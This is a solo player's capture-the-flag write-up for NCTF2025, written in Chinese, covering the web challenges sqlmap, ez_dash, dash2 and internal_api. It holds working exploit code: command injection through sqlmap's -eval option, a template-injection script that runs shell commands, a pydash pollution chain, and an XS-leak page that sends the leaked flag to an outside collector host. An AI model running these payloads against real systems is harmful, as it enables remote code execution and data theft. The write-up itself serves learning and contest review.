NCTF2025
ENOCH个人wp
一个人打,最终总榜24名
sqlmap
经过反复测试最终得到payload
http://127.0.0.1/?a=1 -eval=os=__import__('os');a=os.system('env') -v 6eval可以执行python脚本,由于命令会被分割,选择os=__import__('os');a=os.system('env')绕过
效果
___
__H__
___ ___["]_____ ___ ___ {1.9.3#pip}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
......
[08:39:37] [INFO] testing connection to the target URL
KUBERNETES_PORT=tcp://192.168.0.1:443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=comp-sqlmapmaster-67601380902208059gn8zx
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_SHA256=2a9920c7a0cd236de33644ed980a13cbbc21058bfdc528febb6081575ed73be3
COLUMNS=80
KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
......
FLAG=nctf{8148eb3f-2826-40ff-8f6d-102874a74ebd}
NLS_LANG=.AL32UTF8
[08:39:37] [CRITICAL] unable to connect to the target URL ('Connection refused'). sqlmap is going to retry the request(s)
......ez_dash
源码
'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)非预期了,因为simpletemplate能通过<%%>执行python代码
import requests
import urllib
from urllib import parse
url="http://39.106.16.204:38960"
for i in range(1,100):
cmd = input()
a=f"""<% import os;eval("os"+chr(46)+"system('{cmd} > {i}')") %>""".replace(".","\"+chr(46)+\"")
encoded_b = parse.quote(a)
re = requests.get(url+"/render?path="+encoded_b)
re1 = requests.get(url+"/render?path="+f"{i}")
print(re1.text)dash2
修复了非预期,render额外过滤了<>%_,而且path长度限制在10以内
先打pydash,把set对于__globals__的限制解除
setValue?name=pydash
{"path":"helpers.RESTRICTED_KEYS","value":""}然后把forbidden_name的限制解除
setValue?name=setval
{"path":"__globals__.__forbidden_name__","value":""}然后修改默认的模板路径
setValue?name=setval
{"path":"__globals__.bottle.TEMPLATE_PATH","value":"/"}然后修改默认的错误页面模板
setValue?name=bottle
{"path":"ERROR_PAGE_TEMPLATE","value":"<%import os;os.system('env > /1')%>"}最后访问render?path=1就行了
internal_api
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Exploit</title>
</head>
<body>
<p>测试</p>
<script>
var chars = '}-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{';
var charLen = chars.length;
var ENDPOINT = "http://127.0.0.1:8000/internal/search?s=";
var MAX_LENGTH = 50;
function search(leak, charIndex = 0) {
// 终止条件
if (leak.includes('}') || leak.length >= MAX_LENGTH) {
console.log("Final flag: " + leak);
fetch('http://uuvgn0k0.eyes.sh/leak?' + encodeURIComponent(leak), {
method: "POST",
mode: "no-cors"
});
return;
}
if (charIndex >= charLen) {
console.log("No valid character found for: " + leak);
return; // 无匹配字符,停止
}
var curChar = chars[charIndex];
var url = ENDPOINT + leak + curChar;
console.log("Testing: " + leak + curChar);
var script = document.createElement('script');
script.onload = () => {
leak += curChar;
fetch('http://uuvgn0k0.eyes.sh/leak?' + encodeURIComponent(leak), {
method: "POST",
mode: "no-cors"
});
console.log("Success: " + leak);
document.body.removeChild(script);
search(leak, 0); // 从头测试下一位
};
script.onerror = () => {
document.body.removeChild(script);
search(leak, charIndex + 1); // 测试下一个字符
};
script.src = url;
document.body.appendChild(script);
}
function exploit() {
search("nctf{");
}
exploit();
</script>
</body>
</html>ai写的,能出flag
接收到:leak?nctf%7B877cbd83-cbbe-42bb-a74e-f06a400189a7%7D
差一点ak web了,就差一个java题
可惜没怎么学过java,也没怎么写过,最终没写出来
要认真研究java了
跟大佬x1r0z聊了聊,发现他竟然是初中就接触ctf了,羡慕
许可协议:
CC BY 4.0